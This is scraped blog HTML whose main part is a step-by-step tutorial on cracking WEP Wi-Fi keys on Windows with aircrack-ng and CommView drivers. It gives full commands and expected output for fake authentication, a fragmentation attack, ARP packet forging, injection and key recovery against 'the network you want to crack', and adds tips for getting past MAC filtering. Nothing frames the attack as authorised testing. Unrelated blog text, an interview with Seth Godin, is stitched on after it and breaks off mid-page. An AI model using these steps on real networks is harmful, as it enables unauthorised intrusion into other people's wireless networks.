p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:""; margin-top:0in; margin-right:0in; margin-bottom:10.0pt; margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} .MsoPapDefault {mso-style-type:export-only; margin-bottom:10.0pt; line-height:115%;} @page Section1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.Section1 {page:Section1;} --> </style><!--[if gte mso 10]> <style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} </style> <![endif]--> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><u><span style="font-size: 12pt; font-family: "Times New Roman","serif";">GETTING EVERYTHING READY:</span></u></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br />- The first and most important thing to do is to get an adapter that works with airodump:<br />check this thread for that:<br /><a href="http://tazforum.thetazzone.com/viewtopic.php?t=6235"><span style="color: blue;">http://tazforum.thetazzone.com/viewtopic.php?t=6235</span></a><br />and this one:<br /><a href="http://tazforum.thetazzone.com/viewtopic.php?t=5401&start=0"><span style="color: blue;">http://tazforum.thetazzone.com/viewtopi ... 01&start=0</span></a><br /><br />- Then you need to install the proper drivers for your card. (I used the commview drivers.) If your card isn't compatible with Commview you'll need to install the wildpackets drivers.<br /><br />to do this for cards compatible with commview download commview here and install its drivers:<br /><a href="http://www.tamos.com/bitrix/redirect.php?event1=download&event2=commwifi&event3=&goto=/files/ca5.zip"><span style="color: blue;">http://www.tamos.com/bitrix/redirect.ph ... es/ca5.zip</span></a><br /><br />for other cards download the wildpackets drivers here:<br /><a href="http://www.wildpackets.com/support/downloads/drivers"><span style="color: blue;">http://www.wildpackets.com/support/downloads/drivers</span></a><br /><br /><b><span style="color: red;">NOTE: I'm going to base the rest of this tutorial on a card with the commview drivers installed!</span></b><br /><br />- Next step is to download this .dll file (again only commview driver users):<br /><a href="http://darkircop.org/commview.dll"><span style="color: blue;">http://darkircop.org/commview.dll</span></a><br /><br />- Next up, download the aircrack package. Download it here:<br /><a href="http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip"><span style="color: blue;">http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip</span></a><br /><br />unzip the file to your c:\ drive (it can be another drive but this is the easiest)<br /><br />put the commview.dll file you just downloaded in the map you extracted (it's called aircrack and if you extracted it to your c: drive like I said it should be in c:\aircrack\)<br /><br />Now go to you place where you installed Commview in (the program itself) and look for a file called "ca2k.dll" (default install dir is c:\program files\commview for wifi\)<br /><br />Copy this file to the same folder as the commview.dll (c:\aircrack\)<br /><br />OKAY that was a whole lot! this was just to get everything ready! If you did all of this correct you'll be able to move to the next step!<br />-------------------------------------------------------------------------------------------<br /><br /><b><u>THE CRACKING:</u></b><br /><br />Step 1:<br />- Open a command prompt (start > run > cmd.exe)<br /><br />Step 2:<br />- type the following in the command prompt:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">cd c:\aircrack\<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />- HIT ENTER<br /><br />Step 3:<br />- type the following in the same command prompt:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">airserv-ng -d commview.dll<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />- HIT ENTER<br />- You should see something like this coming up in the command prompt<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Opening card commview.dll<br />Setting chan 1<br />Opening sock port 666<br />Serving commview.dll chan 1 on port 666<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br />Step 4:<br />- Open a new command prompt (<span style="color: red;">LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES!!</span>)<br />- Typ the following the the new command prompt:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">cd c:\aircrack\<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />-HIT ENTER<br /><br />Step 5:<br />- Now typ this in the same command prompt:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">airodump-ng 127.0.0.1:666<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />- HIT ENTER<br /><br /><i>note: if you know what channel the to-monitor-network is on you can make it this. I recommend this!:</i><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">airodump-ng --channel YOURCHANNELNUMBER HERE 127.0.0.1:666<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br />Airodump-ng should start capturing data from the networks on the given channel now, you'll notice it isn't going fast (except if it's a big company's network or something). We are going to speed this process up!<br />Take a note of the following:<br /><b>1:</b> BSSID of the network you want to crack = MAC address.<br /><b>2: </b>ESSID of the network you want to crack = name of the network (example: wifi16, mynetwork,...)<br /><b>3: </b>The mac of the card you are using to monitor the packets<br /><br /><b>LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN!!!</b><br /><br />Step 6:<br />- Open a new command prompt<br />- Type in the following:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">cd c:\aircrack\<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />- HIT ENTER<br /><br />Step 7:<br />- Type in the following in command prompt:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br /><i>yes quite confusing so a quick example:<br />ESSID = wifi16<br />BSSID = 11:22:33:44:55:66<br />MAC OF CARD I'M USING = 01:23:45:67:89:01<br /><br />so that will get me:<br />aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666</i><br /><br />if all goes well you'll get this as the outcome:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Sending Authentication Request<br />Authentication successful<br />Sending Association Request<br />Association successful <span style=""><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v:stroke joinstyle="miter"> <v:formulas> <v:f eqn="if lineDrawn pixelLineWidth 0"> <v:f eqn="sum @0 1 0"> <v:f eqn="sum 0 0 @1"> <v:f eqn="prod @2 1 2"> <v:f eqn="prod @3 21600 pixelWidth"> <v:f eqn="prod @3 21600 pixelHeight"> <v:f eqn="sum @0 0 1"> <v:f eqn="prod @6 1 2"> <v:f eqn="prod @7 21600 pixelWidth"> <v:f eqn="sum @8 21600 0"> <v:f eqn="prod @7 21600 pixelHeight"> <v:f eqn="sum @10 21600 0"> </v:formulas> <v:path extrusionok="f" gradientshapeok="t" connecttype="rect"> <o:lock ext="edit" aspectratio="t"> </v:shapetype><v:shape id="Picture_x0020_1" spid="_x0000_i1025" type="#_x0000_t75" alt=":-)" style="'width:11.25pt;height:11.25pt;visibility:visible;"> <v:imagedata src="file:///C:\DOCUME~1\bpark\LOCALS~1\Temp\msohtmlclip1\01\clip_image001.gif" title="-)"> </v:shape><![endif]--><!--[if !vml]--><img src="file:///C:/DOCUME%7E1/bpark/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image001.gif" alt=":-)" shapes="Picture_x0020_1" border="0" height="15" width="15" /><!--[endif]--></span><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br />if you get:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">AP rejects the source MAC address<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />It means MAC filtering is enabled on the network you want to crack and you'll need to get hold of a mac address that's allowed access.<br /><br />if you keep getting:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">sending authentication request<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />Try moving closer to the AP!<br /><br />Step 8:<br />in the same command prompt as the one in step 7 type:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br /><i>yes quite confusing once again so a quick example:<br />BSSID = 11:22:33:44:55:66<br />MAC OF CARD I'M USING = 01:23:45:67:89:01<br /><br />so that will get me:<br />aireplay-ng -5 -b 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666</i><br /><br />if all goes well you'll get this:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Waiting for a data packet...<br />Read #number packets...<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br />Step 9:<br />if you wait a little bit you'll soon be prompted with a packet like this:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />Size: 120, FromDS: 1, ToDS: 0 (WEP)<br /><br />BSSID = the bssid<br />Dest. MAC = the dest mac<br />Source MAC = the source mac<br /><br />0x0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B..........l~@.<br />0x0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ....4...@...+bz.<br />0x0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 mm.......o..Sdn.<br />0x0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4 ..*pI.....'.. 0.<br />0x0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p...YS.4W'.l....<br />0x0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf...G-&.9W.)..<br />0x0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D...w.....<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br /><i>note: size can vary, I always pressed in y and it worked</i><br />- press in Y<br />- HIT ENTER<br /><br />You should see something like this coming up (or similar):<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Saving chosen packet in replay_src-0124-161120.cap<br />Data packet found!<br />Sending fragmented packet<br />Got RELAYED packet!!<br />Thats our ARP packet!<br />Trying to get 384 bytes of a keystream<br />Got RELAYED packet!!<br />Thats our ARP packet!<br />Trying to get 1500 bytes of a keystream<br />Got RELAYED packet!!<br />Thats our ARP packet!<br />Saving keystream in <b>fragment-0124-161129.xor</b><br />Now you can build a packet with packetforge-ng out of that 1500 bytes keystream<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br /><i>Note 1: It doesn't need to be 1500 bytes!!<br />Note 2: Check the bold part, you're going to need this file!</i><br /><b>AGAIN DON'T CLOSE THIS COMMAND PROMPT!!</b><br /><br />if you keep getting:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Data packet found!<br />Sending fragmented packet<br />No answer, repeating...<br />Trying a LLC NULL packet<br />Sending fragmented packet<br />No answer, repeating...<br />Sending fragmented packet<br />...<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />Just keep trying! It automatically starts over again (moving closer to the AP has been reported to help.)<br /><br /><br /><br />anyways, if you got the bytes of keystream (everything worked) it's time for the next step!<br /><br />Step 10:<br />- Press CTRL + C in the command prompt used in step 8<br />- Now type in the following:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l <span style="color: red;">(= an ELL not a 1) </span>192.168.1.1 -y <b>fragment-0124-161129.xor</b> -w <span style="color: green;">arp-request</span><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br />Remember the file I made bold in part 8? Well it's obviously the same as in 9 meaning you need to put the same filename here.<br />The part I made <span style="color: green;">green</span> here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps!<br /><br />Step 11:<br />Now that we've got our ARP REQ packet we can start injecting!<br />Here's how to do this.<br />- Go to the command prompt used in step 9<br />- Type in the following:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">aireplay-ng -2 -r <span style="color: green;">arp-request</span> 127.0.0.1:666<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />The green part once again indicates the filename!<br /><br />You should now see something like this coming up:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Size: 68, FromDS: 0, ToDS: 1 (WEP)<br /><br />BSSID = 00:14:6C:7E:40:80<br />Dest. MAC = FF:FF:FF:FF:FF:FF<br />Source MAC = 00:0F:B5:AB:CB:9D<br /><br />0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......<br />0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......<br />0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M<br />0x0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :.....gC.V$.....<br />0x0040: d64f b709 .O..<br /><br />Use this packet ?<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />- Type in Y<br />- HIT ENTER<br /><br />This should come up now:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Saving chosen packet in replay_src-0124-163529.cap<br />You should also start airodump-ng to capture replies.<br />End of file.<br /><br />sent #numberOfPackets ... (#number pps)<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br />You'll see the numberOfPackets rising really fast, you are injecting these packets now.<br /><br />Step 12:<br />Now go back to the command prompt where you had airodump-ng in open<br />and press CTRL + C<br />now type in the following:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">airodump-ng --channel CHANNELYOUWANTTOCAPTUREFROM --write <span style="color: blue;">Filename</span> 127.0.0.1:666<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><i>Note: Filename = The name of the file where the data packets are saved, this will be used in the next step</i><br /><br />If all goes correct you should be capturing as much packets per second as you are injecting (maybe even more).<br /><br />Step 13:<br />when you think you have enough...<br /><i>note: 200000 min for 64bit (just capture 1Million to be sure)</i><br />...press CTRL + C in the command prompt that has airodump-ng running and enter the following:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">aircrack-ng -n 64 <span style="color: blue;">Filename</span>.cap<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><br /><br /><i>note:<br />Filename = see previous step<br />64 = the bit depth of the key (128 for 128bit etc...)<br /></i><br /><br />and if it goes like planned a message will pop-up saying:<o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><b><span style="font-size: 12pt; font-family: "Times New Roman","serif";">Quote:</span></b><span style="font-size: 12pt; font-family: "Times New Roman","serif";"><o:p></o:p></span></p> <p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: "Times New Roman","serif";">KEY FOUND: YourKey<o:p></o:p></span></p> <p class="MsoNormal"><span style="font-size: 12pt; line-height: 115%; font-family: "Times New Roman","serif";"><br /><br />That's it! I hope this was helpful, any question/remarks/complaints please ask/tell and I'll try to help/respond as soon as possible!!<br /><br />Extra useful links:<br />WEP CRACK tutorial from nokia:<br /><a href="http://tazforum.thetazzone.com/viewtopic.php?t=2069&highlight=wep&sid=4b61ec462d62072de2d06ff1722a5366"><span style="color: blue;">http://tazforum.thetazzone.com/viewtopi ... f1722a5366</span></a><br /><br />Info about the attack used(fragmentation):<br /><a href="http://www.aircrack-ng.org/doku.php?id=fragmentation"><span style="color: blue;">http://www.aircrack-ng.org/doku.php?id=fragmentation</span></a><br /><br />Zermelo's thread about this subject:<br /><a href="http://tazforum.thetazzone.com/viewtopic.php?t=6781&postdays=0&postorder=asc&start=0"><span style="color: blue;">http://tazforum.thetazzone.com/viewtopi ... sc&start=0</span></a><br /><br />Topic on another forum about this:<br /><a href="http://tinyshell.be/aircrackng/forum/index.php?topic=1626.0"><span style="color: blue;">http://tinyshell.be/aircrackng/forum/in ... pic=1626.0</span></a></span></p>Unknownnoreply@blogger.com10tag:blogger.com,1999:blog-34767665.post-82162805070816684802010-01-28T09:39:00.001-08:002010-01-28T09:42:02.309-08:00Interview with Seth Godin on Indispensability<div style="text-align: justify;">Love the article. If you are interested in keeping and making yourself valuable, read on the quote below!<a href="http://personalmba.com/seth-godin-linchpin-indispensable/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+personalmba+%28The+Personal+MBA%29&utm_content=Google+Reader"><span style="font-size:100%;"> Are You Indispensable? An Interview with Seth Godin</span></a><div class="headline_area"> <h1 class="entry-title">Are You Indispensable? An Interview with Seth Godin</h1> <p class="headline_meta">by <span class="author vcard fn">Josh Kaufman</span></p> </div> <div class="format_text entry-content"> <p><img src="http://media.personalmba.com/post-images/seth-godin-linchpin.png" alt="Seth Godin's new book, Linchpin" /></p> <p><a href="http://sethgodin.typepad.com/">Seth Godin</a>’s new book, <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&location=http%3A%2F%2Fwww.amazon.com%2Fdp%2F1591843162%2F&tag=personalmba-20&linkCode=ur2&camp=1789&creative=9325"><em>Linchpin: Are You Indispensable?</em></a>, comes out today. As with all of Seth’s books, it’s a quick and inspiring read – if you aspire to make a difference in the world, you’ll find this book thought-provoking.</p> <p>I recently caught up with Seth to ask him a few questions about the book – I think you’ll find our conversation quite interesting… <span id="more-1963"></span></p> <h3>First, let’s discuss the essence of the idea: what does it mean to be indispensable?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> Today’s economy places little value on showing up, filling a cube, answering the phone. We can get people to do that cheaper than you, that’s for sure. Now, white collar workers, MBAs and executives are judged more harshly, or they’re replaced or outsourced. The job disappears. <p>So, to be indispensable is to do work your boss couldn’t imagine. It means that you’re human, an independent actor, an artist, someone who connects and makes a difference. These people have genuine job security, because what they do is scarce. </p></div> <h3>It seems like there are a million ways a person could potentially be indispensable. Are some forms of indispensability better or more valuable than others?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> You’re right, there are. But we’ve been brainwashed not to think that way. Look around you. When times got tough, what did most people do? They pulled back and worked hard to fit in, not to stand out. It’s like <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&location=http%3A%2F%2Fwww.amazon.com%2Fdp%2F1591843170%2F&tag=personalmba-20&linkCode=ur2&camp=1789&creative=9325">Purple Cow</a> for people. The obvious thing to do is average stuff for average people, with a lot of hype. But what works? Exceptional work, unexpected insights and genuine connection. </div> <h3>Can you figure out whether or not you’re already indispensable in some way? If so, how? Are there clues or characteristics to look for?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> Do people come to you or do you go to them? Do you need a resume or do your references speak for themselves? Do you initiate or react? Do people seek you out and ask you to do something outside of your to do list? When was the last time someone asked you to come give a speech? </div> <h3>The world is a big place – if you’re not already indispensable to someone or some group of people, do you have any recommendations about who or what to focus on serving?</h3> <div style="color: rgb(153, 0, 0);"> <strong>Seth:</strong> This is the really cool part of the opportunity – because just about all the interesting jobs didn’t even exist a little while ago, no one is obviously more qualified than you. So first, figure out what you love (not the industry, the work) and then go do it. And second, decide to love what you do, because that’s a big part of it too. </div> <h3>Is becoming indispensable an achievement, an ongoing process, a little of both, or something else entirely?</h3> <div style="color: rgb(153, 